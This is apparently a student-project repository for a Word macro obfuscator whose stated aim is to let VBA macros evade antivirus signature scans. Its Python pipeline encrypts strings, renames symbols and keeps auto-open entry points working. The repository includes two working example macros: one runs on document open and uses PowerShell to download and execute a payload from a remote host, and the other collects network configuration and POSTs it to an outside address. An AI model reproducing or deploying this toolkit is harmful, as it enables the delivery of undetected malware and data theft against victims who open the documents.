[
  {
    "path": ".gitignore",
    "content": ".idea/\n**/*.pyc\n"
  },
  {
    "path": ".vscode/settings.json",
    "content": "{\n    \"python.pythonPath\": \"/usr/bin/python3\"\n}"
  },
  {
    "path": "Dockerfile",
    "content": "FROM python:3.7-alpine\n\nWORKDIR /obfuscator\n\nCOPY requirements.txt ./\nRUN pip install --no-cache-dir -r requirements.txt\n\nCOPY . .\n\nENTRYPOINT [ \"python\", \"./obfuscate.py\" ]\n"
  },
  {
    "path": "README.md",
    "content": "# VBA obfuscator\n> Final year school project, obfuscate Word macros.\n\nThis program obfuscates the Visual Basic code from Microsoft Word macros. \nThe transformations applied on the code allows the macros to evade signature scans from Antivirus softwares.\n\n## Usage example\n\nWith Docker:\n\n```sh \ncat YOUR_MACRO.vbs | docker run -i --rm bonnetn/vba-obfuscator /dev/stdin\n```\n\nThis command will obfuscate the whole code. \n\n:warning: **Pay attention** to the first two lines! \n\n:warning: It is necessary to add a document variable to the word document before pasting the code.\nYou can dispose of the first two lines once it has been executed once on the Word document.\n\n## Development setup\n\nInstall python3 and the requirements.\n\n> pip install -r requirements.txt\n\nTo run the tests:\n> pytest\n\nThen run:\n> python3 obfuscate.py YOUR_MACRO.vbs\n## Authors\n\nThomas Leroy - thomas.leroy.mp@gmail.com\n\nNicolas Bonnet – mail@nicolasbon.net\n\n## How to use (YouTube)\n> Tutorial video on how to obfuscate your macros and put them in a Word Document.\n\nClick on the picture to see the video *(enable the subtitles)*.\n\n[![Demo](https://img.youtube.com/vi/L0DlPOLx2k0/0.jpg)](https://www.youtube.com/watch?v=L0DlPOLx2k0)\n\n## Proof of concept - Obfuscation & Antivirus\n\n> Antivirus signature scan evasion.\n\nClick on the picture to see the video *(enable the subtitles)*.\n\n[![Demo](https://img.youtube.com/vi/6Yk0ka5v74I/0.jpg)](https://www.youtube.com/watch?v=6Yk0ka5v74I)\n\n## Quick how to use...\n\n[![asciicast](https://asciinema.org/a/5Ptyf5oNGT7xtkZZvnqNDHMml.svg)](https://asciinema.org/a/5Ptyf5oNGT7xtkZZvnqNDHMml)\n\n## Project report\n\nThe report of this project is available [here](https://www.thole.fr/files/2019-02-10/Report.pdf).\nIt is in French, so we are sorry for people that don't speak this lovely language.\n\n## Disclaimer\nThe VBA obfuscator tool is provided for educational and research purposes only. \nThe authors of this project are no way responsible for any misuse of this tool.\n\nDo not attempt to violate the law with our project, we will not take any responsability for your actions.\n"
  },
  {
    "path": "example_macro/download_payload.vba",
    "content": "Sub Auto_Open()\n    Dim exec As String\n    Dim testvar As String\n    exec = \"powershell.exe \"\"IEX ((new-object net.webclient).downloadstring('http://10.0.0.13/payload.txt'))\"\"\"\n    Shell (exec)\nEnd Sub\nSub AutoOpen()\n    Auto_Open\nEnd Sub\nSub Workbook_Open()\n    Auto_Open\nEnd Sub\n"
  },
  {
    "path": "example_macro/wmi_example.vba",
    "content": "Sub WMI()\r\n \r\n    Dim oWMISrvEx       As Object   'SWbemServicesEx\r\n    Dim oWMIObjSet      As Object   'SWbemServicesObjectSet\r\n    Dim oWMIObjEx       As Object   'SWbemObjectEx\r\n    Dim oWMIProp        As Object   'SWbemProperty\r\n    Dim sWQL            As String   'WQL Statement\r\n    Dim n               As Long     'Generic Counter\r\n \r\n    sWQL = \"Select * From Win32_NetworkAdapterConfiguration\"\r\n    Set oWMISrvEx = GetObject(\"winmgmts:root/CIMV2\")\r\n    Set oWMIObjSet = oWMISrvEx.ExecQuery(sWQL)\r\n    \r\n    Set objHTTP = CreateObject(\"MSXML2.ServerXMLHTTP\")\r\n    URL = \"http://192.168.99.141:1234\"\r\n    Dim tab_data()\r\n    \r\n    For Each oWMIObjEx In oWMIObjSet\r\n        'Put a STOP here then View > Locals Window to see all properties\r\n        If Not IsNull(oWMIObjEx.IPAddress) Then\r\n            Debug.Print \"IP:\"; oWMIObjEx.IPAddress(0)\r\n            objHTTP.Open \"POST\", URL, True\r\n            objHTTP.setRequestHeader \"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\"\r\n            objHTTP.send oWMIObjEx.IPAddress(0)\r\n \r\n            Debug.Print \"Host name:\"; oWMIObjEx.DNSHostName\r\n            For Each oWMIProp In oWMIObjEx.Properties_\r\n                If IsArray(oWMIProp.Value) Then\r\n                    For n = LBound(oWMIProp.Value) To UBound(oWMIProp.Value)\r\n                        Debug.Print oWMIProp.Name & \"(\" & n & \")\", oWMIProp.Value(n)\r\n                        objHTTP.Open \"POST\", URL, True\r\n                        objHTTP.setRequestHeader \"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\"\r\n                        objHTTP.send oWMIProp.Value(n)\r\n \r\n                    Next\r\n                Else\r\n                    Debug.Print oWMIProp.Name, oWMIProp.Value\r\n                    objHTTP.Open \"POST\", URL, True\r\n                    objHTTP.setRequestHeader \"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\"\r\n                    objHTTP.send oWMIProp.Value\r\n                End If\r\n            Next\r\n        End If\r\n    Next\r\nEnd Sub\r\n"
  },
  {
    "path": "obfuscate.py",
    "content": "#!/usr/bin/env python3\nimport argparse\nimport logging\nimport sys\n\nfrom obfuscator.log import configure_logging\nfrom obfuscator.modifier.base import Pipe\nfrom obfuscator.modifier.break_lines_too_long import BreakLinesTooLong\nfrom obfuscator.modifier.comments import StripComments\nfrom obfuscator.modifier.functions_vars import RandomizeNames\nfrom obfuscator.modifier.misc import RemoveEmptyLines, RemoveIndentation\nfrom obfuscator.modifier.numbers import ReplaceIntegersWithAddition, ReplaceIntegersWithXor\nfrom obfuscator.modifier.strings import CryptStrings, SplitStrings\nfrom obfuscator.msdocument import MSDocument\n\n\nclass BadPathError(ValueError):\n    pass\n\n\ndef main():\n    configure_logging()\n\n    LOG.info(\"VBA obfuscator - Thomas LEROY & Nicolas BONNET\")\n\n    parser = argparse.ArgumentParser(description='Obfuscate a VBA file.')\n    parser.add_argument('input_file', type=str, action='store',\n                        help='path of the file to obfuscate')\n    parser.add_argument('--output_file', type=str, action='store',\n                        help='output file (if no file is supplied, stdout will be used)')\n    args = parser.parse_args()\n\n    try:\n        doc = MSDocument(args.input_file)\n    except OSError as e:\n        raise BadPathError(\"Could not open input file\") from e\n    LOG.info(\"Loaded the code.\")\n\n    Pipe(doc).run(\n        SplitStrings(),\n        CryptStrings(),\n        RandomizeNames(),\n        ReplaceIntegersWithAddition(),\n        ReplaceIntegersWithXor(),\n        StripComments(),\n        RemoveIndentation(),\n        BreakLinesTooLong(),\n        RemoveEmptyLines(),\n    )\n    LOG.info(\"Obfuscated the code.\")\n\n    if args.output_file:\n        try:\n            with open(args.output_file, \"w\") as f:\n                f.write(doc.code)\n        except OSError as e:\n            raise BadPathError(\"Could not open output file\") from e\n        LOG.info(\"Wrote to file.\")\n    else:\n        sys.stdout.write(doc.code)\n\n\nif __name__ == \"__main__\":\n    try:\n        LOG = logging.getLogger(__name__)\n        main()\n    except BadPathError as e:\n        LOG.error(\"{}: {}.\".format(e.args[0], e.__cause__.args[1]))\n        sys.exit(2)\n    except KeyboardInterrupt:\n        sys.exit(1)\n"
  },
  {
    "path": "obfuscator/__init__.py",
    "content": ""
  },
  {
    "path": "obfuscator/log.py",
    "content": "import logging\nimport sys\n\n\ndef configure_logging():\n    # create a stdout handler\n    handler = logging.StreamHandler(sys.stderr)\n    handler.setLevel(logging.INFO)\n\n    # create a logging format\n    formatter = logging.Formatter('[%(levelname)s] %(message)s')\n    handler.setFormatter(formatter)\n\n    logging.basicConfig(\n        handlers=[handler],\n        level=logging.DEBUG,\n    )\n"
  },
  {
    "path": "obfuscator/modifier/__init__.py",
    "content": ""
  },
  {
    "path": "obfuscator/modifier/base.py",
    "content": "from obfuscator.msdocument import MSDocument\n\n\nclass Modifier:\n    def run(self, doc: MSDocument) -> None:\n        raise NotImplementedError()\n\n\nclass Pipe:\n    def __init__(self, doc: MSDocument):\n        self.doc = doc\n\n    def run(self, *args: Modifier) -> None:\n        for m in args:\n            m.run(self.doc)\n"
  },
  {
    "path": "obfuscator/modifier/break_lines_too_long.py",
    "content": "import logging\nfrom typing import List\n\nfrom pygments import highlight\nfrom pygments.formatter import Formatter\nfrom pygments.lexers.dotnet import VbNetLexer\nfrom pygments.token import Token\n\nfrom obfuscator.modifier.base import Modifier\nfrom obfuscator.msdocument import MSDocument\n\nMAX_LINE_WIDTH = 500\n\nLOG = logging.getLogger(__name__)\n\n\ndef _do_split_line(line: str) -> str:\n    return highlight(line, VbNetLexer(), _BreakLinesTooLong())\n\n\ndef _split_line_if_necessary(line: str) -> str:\n    if len(line) >= MAX_LINE_WIDTH:\n        LOG.info(\"Line '{:.30s}[...]' is too long.\".format(line))\n        return _do_split_line(line)\n    return line\n\n\nclass BreakLinesTooLong(Modifier):\n    def run(self, doc: MSDocument) -> None:\n        code = doc.code\n\n        code = code.split(\"\\n\")\n        code = map(_split_line_if_necessary, code)\n        code = \"\\n\".join(code)\n\n        doc.code = code\n\n\ndef break_line(chunks: List[str]):\n    lines = ['']\n    for chunk in chunks:\n        if len(lines[-1]) + len(chunk) < MAX_LINE_WIDTH:\n            lines[-1] += chunk\n        else:\n            lines += [chunk]\n\n    result = \" _\\n\".join(lines)\n    return result\n\n\nclass _BreakLinesTooLong(Formatter):\n    def format(self, tokensource, outfile):\n        line = ''\n\n        # First find out all the position where we can \"cut\" the string.\n        break_points = [0]\n        for ttype, value in tokensource:\n            line += value\n            if ttype == Token.Punctuation and value in \",+&\":\n                break_points.append(len(line))\n        break_points.append(len(line))\n\n        # Cut the strings at all the previously defined positions.\n        chunks = []\n        for i in range(len(break_points) - 1):\n            bp1 = break_points[i]\n            bp2 = break_points[i + 1]\n            chunks.append(line[bp1:bp2])\n\n        # Take all theses chunks and construct lines.\n        outfile.write(break_line(chunks))\n"
  },
  {
    "path": "obfuscator/modifier/comments.py",
    "content": "from pygments import highlight\nfrom pygments.formatter import Formatter\nfrom pygments.lexers.dotnet import VbNetLexer\nfrom pygments.token import Token\n\nfrom obfuscator.modifier.base import Modifier\nfrom obfuscator.msdocument import MSDocument\n\n\nclass StripComments(Modifier):\n    def run(self, doc: MSDocument) -> None:\n        doc.code = highlight(doc.code, VbNetLexer(), _StripCommentsFormatter())\n\n\nclass _StripCommentsFormatter(Formatter):\n    def format(self, tokensource, outfile):\n        for ttype, value in tokensource:\n            if ttype != Token.Comment:\n                outfile.write(value)\n            else:\n                outfile.write(value[-1])\n"
  },
  {
    "path": "obfuscator/modifier/functions_vars.py",
    "content": "import logging\n\nfrom pygments import highlight\nfrom pygments.formatter import Formatter\nfrom pygments.lexers.dotnet import VbNetLexer\nfrom pygments.token import Token\n\nimport obfuscator.modifier.base\nimport obfuscator.msdocument\nfrom obfuscator.util import get_random_string_of_random_length, get_variables_defined, get_variables_parameters, \\\n    get_functions, get_variables_const\n\nLOG = logging.getLogger(__name__)\n\nBLACKLIST_SYMBOL = {\n    \"Workbook_Open\", \"AutoOpen\", \"Auto_Open\", \"Document_Open\"\n}\n\n\nclass RandomizeNames(obfuscator.modifier.base.Modifier):\n    def run(self, doc: obfuscator.msdocument.MSDocument) -> None:\n        vars = set(get_variables_defined(doc.code))\n        consts = set(get_variables_const(doc.code))\n        params = set(get_variables_parameters(doc.code))\n        functions = set(get_functions(doc.code))\n\n        names = {}\n        for symbol in vars | consts | params | functions:\n            if symbol not in BLACKLIST_SYMBOL:\n                names[symbol] = get_random_string_of_random_length()\n\n        doc.code = highlight(doc.code, VbNetLexer(), _RandomizeNamesFormatter(names))\n\n\nclass _RandomizeNamesFormatter(Formatter):\n    def __init__(self, names):\n        self.names = names\n\n    def format(self, tokensource, outfile):\n        left = set()\n        for ttype, value in tokensource:\n            if ttype == Token.Name.Function:\n                outfile.write(self._get_name(value))\n            elif ttype == Token.Name:\n                outfile.write(self._get_name(value))\n            else:\n                left = left | set(ttype)\n                outfile.write(value)\n\n    def _get_name(self, name: str) -> str:\n        if name in self.names:\n            LOG.debug(\"Replacing {} with {}.\".format(name, self.names[name]))\n            return self.names[name]\n\n        LOG.debug(\"Ignoring {}.\".format(name))\n        return name\n"
  },
  {
    "path": "obfuscator/modifier/misc.py",
    "content": "import re\n\nfrom obfuscator.modifier.base import Modifier\nfrom obfuscator.msdocument import MSDocument\n\n\nclass RemoveIndentation(Modifier):\n    def run(self, doc: MSDocument) -> None:\n        doc.code = re.sub(r'^\\s*', '', doc.code, flags=re.MULTILINE)\n\n\nclass RemoveEmptyLines(Modifier):\n    def run(self, doc: MSDocument) -> None:\n        doc.code = re.sub(r'(?:(\\s*)\\n)+', '\\n', doc.code)\n"
  },
  {
    "path": "obfuscator/modifier/numbers.py",
    "content": "# Token.Literal.Number.Integer\nimport random\n\nfrom pygments import highlight\nfrom pygments.formatter import Formatter\nfrom pygments.lexers.dotnet import VbNetLexer\nfrom pygments.token import Token\n\nfrom obfuscator.modifier.base import Modifier\nfrom obfuscator.msdocument import MSDocument\n\n\nclass ReplaceIntegersWithXor(Modifier):\n    def run(self, doc: MSDocument) -> None:\n        doc.code = highlight(doc.code, VbNetLexer(), _XorFormatter())\n\n\nclass ReplaceIntegersWithAddition(Modifier):\n    def run(self, doc: MSDocument) -> None:\n        doc.code = highlight(doc.code, VbNetLexer(), _AdditionFormatter())\n\n\nclass _AdditionFormatter(Formatter):\n    def format(self, tokensource, outfile):\n        for ttype, value in tokensource:\n            if ttype == Token.Literal.Number.Integer and random.random() > .5:\n                v = int(value)\n                x = random.randint(0, v)\n                y = v - x\n                outfile.write(\"({}+{})\".format(x, y))\n            else:\n                outfile.write(value)\n\n\nclass _XorFormatter(Formatter):\n    def format(self, tokensource, outfile):\n        for ttype, value in tokensource:\n            if ttype == Token.Literal.Number.Integer and random.random() > .5:\n                v = int(value)\n                x = random.randint(0, v)\n                y = v ^ x\n                outfile.write(\"({} Xor {})\".format(x, y))\n            else:\n                outfile.write(value)\n"
  },
  {
    "path": "obfuscator/modifier/strings/__init__.py",
    "content": "from obfuscator.modifier.strings.crypt import CryptStrings\nfrom obfuscator.modifier.strings.split import SplitStrings\n\n"
  },
  {
    "path": "obfuscator/modifier/strings/base64.vbs",
    "content": "' A Base64 Encoder/Decoder.\r\n'\r\n' This module is used to encode and decode data in Base64 format as described in RFC 1521.\r\n'\r\n' Home page: www.source-code.biz.\r\n' Copyright 2007: Christian d'Heureuse, Inventec Informatik AG, Switzerland.\r\n'\r\n' This module is multi-licensed and may be used under the terms\r\n' of any of the following licenses:\r\n'\r\n'  EPL, Eclipse Public License, V1.0 or later, http://www.eclipse.org/legal\r\n'  LGPL, GNU Lesser General Public License, V2.1 or later, http://www.gnu.org/licenses/lgpl.html\r\n'  GPL, GNU General Public License, V2 or later, http://www.gnu.org/licenses/gpl.html\r\n'  AGPL, GNU Affero General Public License V3 or later, http://www.gnu.org/licenses/agpl.html\r\n'  AL, Apache License, V2.0 or later, http://www.apache.org/licenses\r\n'  BSD, BSD License, http://www.opensource.org/licenses/bsd-license.php\r\n'  MIT, MIT License, http://www.opensource.org/licenses/MIT\r\n'\r\n' Please contact the author if you need another license.\r\n' This module is provided \"as is\", without warranties of any kind.\r\n\r\n' Option Explicit\r\n\r\nPrivate InitDone       As Boolean\r\nPrivate Map1(0 To 63)  As Byte\r\nPrivate Map2(0 To 127) As Byte\r\n\r\n' Encodes a string into Base64 format.\r\n' No blanks or line breaks are inserted.\r\n' Parameters:\r\n'   S         a String to be encoded.\r\n' Returns:    a String with the Base64 encoded data.\r\n' Public Function Base64EncodeString(ByVal s As String) As String\r\n'    Base64EncodeString = Base64Encode(ConvertStringToBytes(s))\r\n'    End Function\r\n\r\n' Encodes a byte array into Base64 format.\r\n' No blanks or line breaks are inserted.\r\n' Parameters:\r\n'   InData    an array containing the data bytes to be encoded.\r\n' Returns:    a string with the Base64 encoded data.\r\n' Public Function Base64Encode(InData() As Byte)\r\n'    Base64Encode = Base64Encode2(InData, UBound(InData) - LBound(InData) + 1)\r\n'    End Function\r\n\r\n' Encodes a byte array into Base64 format.\r\n' No blanks or line breaks are inserted.\r\n' Parameters:\r\n'   InData    an array containing the data bytes to be encoded.\r\n'   InLen     number of bytes to process in InData.\r\n' Returns:    a string with the Base64 encoded data.\r\n' Public Function Base64Encode2(InData() As Byte, ByVal InLen As Long) As String\r\n'    If Not InitDone Then Init\r\n'    If InLen = 0 Then Base64Encode2 = \"\": Exit Function\r\n'    Dim ODataLen As Long: ODataLen = (InLen * 4 + 2) \\ 3     ' output length without padding\r\n'    Dim OLen As Long: OLen = ((InLen + 2) \\ 3) * 4           ' output length including padding\r\n'    Dim Out() As Byte\r\n'    ReDim Out(0 To OLen - 1) As Byte\r\n'    Dim ip0 As Long: ip0 = LBound(InData)\r\n'    Dim ip As Long\r\n'    Dim op As Long\r\n'    Do While ip < InLen\r\n'       Dim i0 As Byte: i0 = InData(ip0 + ip): ip = ip + 1\r\n'       Dim i1 As Byte: If ip < InLen Then i1 = InData(ip0 + ip): ip = ip + 1 Else i1 = 0\r\n'       Dim i2 As Byte: If ip < InLen Then i2 = InData(ip0 + ip): ip = ip + 1 Else i2 = 0\r\n'       Dim o0 As Byte: o0 = i0 \\ 4\r\n'       Dim o1 As Byte: o1 = ((i0 And 3) * &H10) Or (i1 \\ &H10)\r\n'       Dim o2 As Byte: o2 = ((i1 And &HF) * 4) Or (i2 \\ &H40)\r\n'       Dim o3 As Byte: o3 = i2 And &H3F\r\n'       Out(op) = Map1(o0): op = op + 1\r\n'       Out(op) = Map1(o1): op = op + 1\r\n'       Out(op) = IIf(op < ODataLen, Map1(o2), Asc(\"=\")): op = op + 1\r\n'       Out(op) = IIf(op < ODataLen, Map1(o3), Asc(\"=\")): op = op + 1\r\n'       Loop\r\n'    Base64Encode2 = ConvertBytesToString(Out)\r\n'    End Function\r\n\r\n' Decodes a string from Base64 format.\r\n' Parameters:\r\n'    s        a Base64 String to be decoded.\r\n' Returns     a String containing the decoded data.\r\n' Public Function Base64DecodeString(ByVal s As String) As String\r\n'    If s = \"\" Then Base64DecodeString = \"\": Exit Function\r\n'    Base64DecodeString = ConvertBytesToString(Base64Decode(s))\r\n'    End Function\r\n\r\n' Decodes a byte array from Base64 format.\r\n' Parameters\r\n'   s         a Base64 String to be decoded.\r\n' Returns:    an array containing the decoded data bytes.\r\nPublic Function Base64Decode(ByVal s As String) As Byte()\r\n   If Not InitDone Then Init\r\n   Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)\r\n   Dim ILen As Long: ILen = UBound(IBuf) + 1\r\n   ' If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , \"Length of Base64 encoded input string is not a multiple of 4.\"\r\n   If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , \"\"\r\n   Do While ILen > 0\r\n      If IBuf(ILen - 1) <> Asc(\"=\") Then Exit Do\r\n      ILen = ILen - 1\r\n      Loop\r\n   Dim OLen As Long: OLen = (ILen * 3) \\ 4\r\n   Dim Out() As Byte\r\n   ReDim Out(0 To OLen - 1) As Byte\r\n   Dim ip As Long\r\n   Dim op As Long\r\n   Do While ip < ILen\r\n      Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1\r\n      Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1\r\n      Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc(\"A\")\r\n      Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc(\"A\")\r\n      If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _\r\n         ' Err.Raise vbObjectError, , \"Illegal character in Base64 encoded data.\"\r\n         Err.Raise vbObjectError, , \"\"\r\n      Dim b0 As Byte: b0 = Map2(i0)\r\n      Dim b1 As Byte: b1 = Map2(i1)\r\n      Dim b2 As Byte: b2 = Map2(i2)\r\n      Dim b3 As Byte: b3 = Map2(i3)\r\n      If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _\r\n         ' Err.Raise vbObjectError, , \"Illegal character in Base64 encoded data.\"\r\n         Err.Raise vbObjectError, , \"\"\r\n      Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \\ &H10)\r\n      Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \\ 4)\r\n      Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3\r\n      Out(op) = o0: op = op + 1\r\n      If op < OLen Then Out(op) = o1: op = op + 1\r\n      If op < OLen Then Out(op) = o2: op = op + 1\r\n      Loop\r\n   Base64Decode = Out\r\n   End Function\r\n\r\nPrivate Sub Init()\r\n   Dim c As Integer, i As Integer\r\n   ' set Map1\r\n   i = 0\r\n   For c = Asc(\"A\") To Asc(\"Z\"): Map1(i) = c: i = i + 1: Next\r\n   For c = Asc(\"a\") To Asc(\"z\"): Map1(i) = c: i = i + 1: Next\r\n   For c = Asc(\"0\") To Asc(\"9\"): Map1(i) = c: i = i + 1: Next\r\n   Map1(i) = Asc(\"+\"): i = i + 1\r\n   Map1(i) = Asc(\"/\"): i = i + 1\r\n   ' set Map2\r\n   For i = 0 To 127: Map2(i) = 255: Next\r\n   For i = 0 To 63: Map2(Map1(i)) = i: Next\r\n   InitDone = True\r\n   End Sub\r\n\r\nPrivate Function ConvertStringToBytes(ByVal s As String) As Byte()\r\n   Dim b1() As Byte: b1 = s\r\n   Dim l As Long: l = (UBound(b1) + 1) \\ 2\r\n   If l = 0 Then ConvertStringToBytes = b1: Exit Function\r\n   Dim b2() As Byte\r\n   ReDim b2(0 To l - 1) As Byte\r\n   Dim p As Long\r\n   For p = 0 To l - 1\r\n      Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))\r\n      If c >= 256 Then c = Asc(\"?\")\r\n      b2(p) = c\r\n      Next\r\n   ConvertStringToBytes = b2\r\n   End Function\r\n\r\n' Private Function ConvertBytesToString(b() As Byte) As String\r\n'    Dim l As Long: l = UBound(b) - LBound(b) + 1\r\n'    Dim b2() As Byte\r\n'    ReDim b2(0 To (2 * l) - 1) As Byte\r\n'    Dim p0 As Long: p0 = LBound(b)\r\n'    Dim p As Long\r\n'    For p = 0 To l - 1: b2(2 * p) = b(p0 + p): Next\r\n'    Dim s As String: s = b2\r\n'    ConvertBytesToString = s\r\n'    End Function\r\n"
  },
  {
    "path": "obfuscator/modifier/strings/crypt.py",
    "content": "import base64\nimport os\nimport logging\nimport random\nfrom typing import List\n\nfrom pygments import highlight\nfrom pygments.lexers.dotnet import VbNetLexer\n\nfrom obfuscator.modifier.base import Modifier\nfrom obfuscator.modifier.strings.strings import StringFormatter\nfrom obfuscator.msdocument import MSDocument\nfrom obfuscator.util import get_random_string, split_var_declaration_from_code\n\nLOG = logging.getLogger(__name__)\nVBA_XOR_FUNCTION = split_var_declaration_from_code(\"\"\"\nPrivate Function unxor(ciphertext As Variant, start As Integer)\n    Dim cleartext As String\n    Dim key() As Byte\n    key = Base64Decode(ActiveDocument.Variables(\"{}\"))\n    cleartext = \"\"\n    \n    For i = LBound(ciphertext) To UBound(ciphertext)\n        cleartext = cleartext & Chr(key(i+start) Xor ciphertext(i))\n    Next\n    unxor = cleartext\n\nEnd Function\n\"\"\")\nwith open(os.path.join(os.path.dirname(__file__), \"base64.vbs\")) as f:\n    VBA_BASE64_FUNCTION = split_var_declaration_from_code(f.read())\n\n\nclass CryptStrings(Modifier):\n    def run(self, doc: MSDocument) -> None:\n        LOG.debug('Generating document variable name.')\n\n        formatter = EncryptStringsFmtr()\n        doc.code = highlight(doc.code, VbNetLexer(), formatter)\n\n        document_var = get_random_string(16)\n\n        code_prefix, code_suffix = split_var_declaration_from_code(doc.code)\n\n        # Merge the codes: we must keep the global variables declarations on top.\n        doc.code = code_prefix + VBA_BASE64_FUNCTION[0] + VBA_XOR_FUNCTION[0] + \\\n                   code_suffix + VBA_BASE64_FUNCTION[1] + VBA_XOR_FUNCTION[1].format(document_var)\n\n        b64 = base64.b64encode(bytes(formatter.crypt_key)).decode()\n        MAX_LENGTH = 512\n        printable_b64 = [b64[i:i + MAX_LENGTH] for i in range(0, len(b64), MAX_LENGTH)]\n        printable_b64 = '\" & _\\n\"'.join(printable_b64)\n        LOG.info('''Paste this in your VBA editor to add the Document Variable:\nActiveDocument.Variables.Add Name:=\"{}\", Value:=\"{}\"'''.format(document_var, printable_b64))\n\n        doc.code = '\"Use this line to add the document variable to you file and then remove these comments.\"\\n' + \\\n                   'ActiveDocument.Variables.Add Name:=\"{}\", Value:=\"{}\"\\n'.format(document_var,\n                                                                                   printable_b64) + doc.code\n\n        doc.doc_var[document_var] = b64\n\n\nclass EncryptStringsFmtr(StringFormatter):\n    def __init__(self):\n        super().__init__()\n        self.crypt_key = []\n\n    def _obfuscate_string(self, s: str) -> str:\n        s = s[1:-1]\n        LOG.debug(\"Generating XOR key for '{}'.\".format(s))\n        start = len(self.crypt_key)\n        key = _get_random_key(len(s))\n        self.crypt_key += key\n        LOG.debug(\"XOR key will be at [{}; {}].\".format(start, len(key)))\n\n        ciphertext = _xor_crypt(s, key)\n        array = _to_vba_array(ciphertext)\n        LOG.debug(\"Encrypted string to VBA Array -> {}.\".format(array))\n\n        return 'unxor({},{})'.format(array, start)\n\n    def _run_on_string(self, s: str):\n        return self._obfuscate_string(s)\n\n\ndef _get_random_key(n: int) -> List[int]:\n    return [random.randint(0, 255) for _ in range(n)]\n\n\ndef _xor(t):\n    a, b = t\n    return a ^ b\n\n\ndef _xor_crypt(msg, key):\n    msg = map(ord, msg)\n    str_key = zip(msg, key)\n    return map(_xor, str_key)\n\n\ndef _to_vba_array(arr):\n    arr = map(str, arr)\n    numbers = \",\".join(arr)\n    return \"Array({})\".format(numbers)\n"
  },
  {
    "path": "obfuscator/modifier/strings/split.py",
    "content": "import logging\nimport random\n\nfrom pygments import highlight\nfrom pygments.lexers.dotnet import VbNetLexer\n\nfrom obfuscator.modifier.base import Modifier\nfrom obfuscator.modifier.strings.strings import StringFormatter\nfrom obfuscator.msdocument import MSDocument\n\nLOG = logging.getLogger(__name__)\n\n\nclass SplitStrings(Modifier):\n    def run(self, doc: MSDocument) -> None:\n        doc.code = highlight(doc.code, VbNetLexer(), _SplitStringsFmtr())\n\n\nclass _SplitStringsFmtr(StringFormatter):\n    def __init__(self):\n        super().__init__()\n        self.crypt_key = []\n\n    def _split_string(self, s: str) -> str:\n        if len(s) > 8:\n            s = s.strip('\"')\n            pos = _split_string(s)\n            splitted_string = '\"{}\" & \"{}\"'.format(s[:pos], s[pos:])\n            LOG.debug(\"Splitted '{}' in two.\".format(s))\n            return splitted_string\n        else:\n            return s\n\n    def _run_on_string(self, s: str):\n        return self._split_string(s)\n\n\ndef _split_string(s: str) -> int:\n    \"\"\"\n    Split a string in two. This function will never split an escaped double quote (\"\") in half.\n    :param s:\n    :return:\n    \"\"\"\n    split_possibilities = len(s) - 1\n    impossible_split_pos = s.count('\"') // 2\n    if split_possibilities - impossible_split_pos <= 0:\n        return -1\n\n    split_possibilities -= impossible_split_pos\n\n    i = 0\n    pos = random.randint(1, split_possibilities)\n    while pos > 0:\n        if s[i] == '\"':\n            i = i + 1\n        i = i + 1\n        pos = pos - 1\n\n    return i\n"
  },
  {
    "path": "obfuscator/modifier/strings/strings.py",
    "content": "import logging\n\nfrom pygments.formatter import Formatter\nfrom pygments.token import Token\n\nLOG = logging.getLogger(__name__)\n\nIGNORED_SYMBOLS = {\"Const\", \"Declare\"}\n\n\nclass StringFormatter(Formatter):\n    def __init__(self, **options):\n        super().__init__(**options)\n        self.lastval = \"\"\n        self.lasttype = None\n\n    def _run_on_string(self, s: str) -> str:\n        raise NotImplementedError()\n\n    def format(self, tokensource, outfile):\n        skip_line = False\n        for ttype, value in tokensource:\n            if self.lasttype:\n                if self.lasttype == ttype:\n                    self.lastval += value\n                else:\n                    if \"\\n\" in self.lastval:\n                        skip_line = False\n                    if ttype == Token.Keyword and value in IGNORED_SYMBOLS:  #  Skip the line if it is a const.\n                        skip_line = True\n\n                    # Crypt strings unless we are skipping the line.\n                    if self.lasttype == Token.Literal.String:\n                        if skip_line:\n                            outfile.write(self.lastval)\n                        else:\n                            outfile.write(self._run_on_string(self.lastval))\n                    else:\n                        outfile.write(self.lastval)\n                    self.lastval = value\n            else:\n                self.lastval = value\n            self.lasttype = ttype\n\n        outfile.write(value)\n"
  },
  {
    "path": "obfuscator/msdocument.py",
    "content": "class MSDocument:\n    def __init__(self, path: str):\n        with open(path, \"r\") as f:\n            self.code = f.read()\n            self.doc_var = {}\n"
  },
  {
    "path": "obfuscator/util.py",
    "content": "import random\nimport re\nimport string\n\n\ndef get_random_string(size: int) -> str:\n    return ''.join(random.choice(string.ascii_letters) for _ in range(size))\n\n\ndef get_random_string_of_random_length() -> str:\n    var_length = random.randint(10, 14)\n    return get_random_string(var_length)\n\n\ndef replace_whole_word(content: str, var_name: str, new_name: str) -> str:\n    var_name = re.escape(var_name)\n    new_name = re.escape(new_name)\n    pattern = r\"\\b{}\\b\".format(var_name)\n    result = re.sub(pattern, new_name, content)\n    return result\n\n\ndef get_functions(code):\n    \"\"\"\n    Return all functions names defined in the code.\n    :param code:\n    :return:\n    \"\"\"\n    result = re.finditer(\"(?:Function|Sub)[ ]+(\\w+)\\(\", code, flags=re.M)\n    result = map(lambda x: x.group(1), result)\n    result = list(result)\n\n    number_of_routines = len(re.findall(\"(?:End Sub|End Function)\", code))\n    assert number_of_routines <= len(result), \"Could not find the name of all the routines\"\n    return result\n\n\ndef get_variables_parameters(code):\n    \"\"\"\n    Return all parameters (arguments of functions) names defined in the code.\n    :param code:\n    :return:\n    \"\"\"\n    var_names = re.finditer(\"(?:Function|Sub)[ 